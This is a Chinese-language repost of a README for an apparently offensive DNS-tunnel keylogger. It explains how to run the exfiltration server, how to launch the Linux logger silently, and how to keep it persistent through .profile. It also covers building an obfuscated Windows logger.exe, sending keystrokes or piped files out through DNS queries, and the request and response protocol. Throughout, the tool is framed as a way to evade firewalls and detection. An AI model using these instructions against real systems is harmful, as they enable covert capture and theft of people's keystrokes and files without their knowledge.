此后利用键盘记录器将秘密地将击键泄露到服务器。
这些工具擅长轻量级渗漏和持久性,这些特性可以防止检测。它使用 DNS 隧道/渗透来绕过防火墙并避免检测。
python3 -m pip install -r requirements.txt
启动服务器
要启动服务器,请运行python3 main.py
usage: dns exfiltration server [-h] [-p PORT] ip domain
positional arguments:
ip
domain
options:
-h, --help show this help message and exit
-p PORT, --port PORT port to listen on
默认情况下,服务器侦听 UDP 端口 53。使用该-p
标志指定不同的端口。
ip
是服务器的IP地址。它用于 SOA 和 NS 记录,允许其他名称服务器找到该服务器。
domain
是要监听的域,应该是服务器有权威的域。
Linux
Linux 键盘记录器是两个 bash 脚本。脚本connection.sh
使用它来logger.sh
将击键发送到服务器。如果您想手动发送数据(例如文件),可以通过管道将数据传输到connection.sh
脚本。它会自动建立连接并发送数据。
logger.sh
Usage: logger.sh [-options] domain
Positional Arguments:
domain: the domain to send data to
Options:
-p path: give path to log file to listen to
-l: run the logger with warnings and errors printed
要启动键盘记录器,请运行命令./logger.sh [domain] && exit
。这将默默地启动键盘记录器,并且将发送键入的任何输入。最后&& exit
的 将使 shell 关闭exit
。如果没有它,退出将使您返回到无键盘记录的 shell。删除&> /dev/null
以显示错误消息。
该-p
选项将指定所有输入发送到的临时日志文件的位置。默认情况下,这是/tmp/。
该-l
选项将显示警告和错误。对于调试很有用。
logger.sh
并且connection.sh
必须位于同一目录中,键盘记录器才能工作。如果您想要持久性,可以添加命令以.profile
在每个新的交互式 shell 上启动。
connection.sh
Usage: command [-options] domain
Positional Arguments:
domain: the domain to send data to
Options:
number of characters to store before sending a packet :
Windows
要构建键盘记录程序,请make
在windows
目录中运行。要以减小的尺寸和一定程度的混淆来构建,请制定production
目标。这将为您创建目录并输出到该目录中build
指定的文件。logger.exe
build
make production domain=example.com
您还可以选择通过创建目标来构建带有调试的程序debug
。
make debug domain=example.com
对于这两个目标,您需要指定服务器正在侦听的域。
发送测试请求
您可以使用dig
向服务器发送请求:
dig @127.0.0.1 a.1.1.1.example.com A +short
向本地主机上的服务器发送连接请求。
dig @127.0.0.1 b.1.1.54686520717569636B2062726F776E20666F782E1B.example.com A +short
向本地主机发送测试消息。
替换example.com
为服务器正在侦听的域。
开始连接
以 开头的记录请求指示a
“连接”的开始。当服务器收到它们时,它将使用一个虚假的非保留 IP 地址进行响应,其中最后一个八位字节包含客户端的 ID。
以下是启动连接时应遵循的格式:a.1.1.1.[sld].[tld].
服务器将使用以下格式的 IP 地址进行响应:123.123.123.[id]
并发连接数不能超过 254,并且客户端永远不会被视为“断开连接”。
窃取数据
以 开头的记录请求指示b
正在发送到服务器的泄露数据。
以下是建立连接后发送数据遵循的格式:b.[packet #].[id].[data].[sld].[tld].
服务器将响应.123.123.123
id
是在连接时建立的 id。数据以十六进制编码的 ASCII 形式发送。
code
是下面描述的代码之一。
响应代码
200
:好的
如果客户端发送的请求被正常处理,服务器将返回 code 200
。
201
:格式错误的记录请求
如果客户端发送格式错误的记录请求,服务器将以 code 进行响应201
。
202
:不存在的连接
如果客户端发送的数据包的 id 大于连接数,服务器将用 code 进行响应202
。
203
:乱序数据包
如果客户端发送的数据包的数据包 ID 与预期不匹配,服务器将使用 code 进行响应203
。客户端和服务器应将其数据包编号重置为 0。然后客户端可以使用新的数据包 ID 重新发送数据包。
204
已达到最大连接数
如果客户端在达到最大连接数时尝试创建连接,服务器将使用 code 进行响应204
。
项目地址:https://github.com/Geeoon/DNS-Tunnel-Keylogger
原文始发于微信公众号(TtTeam):权限维持 - DNS 隧道键盘记录器
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论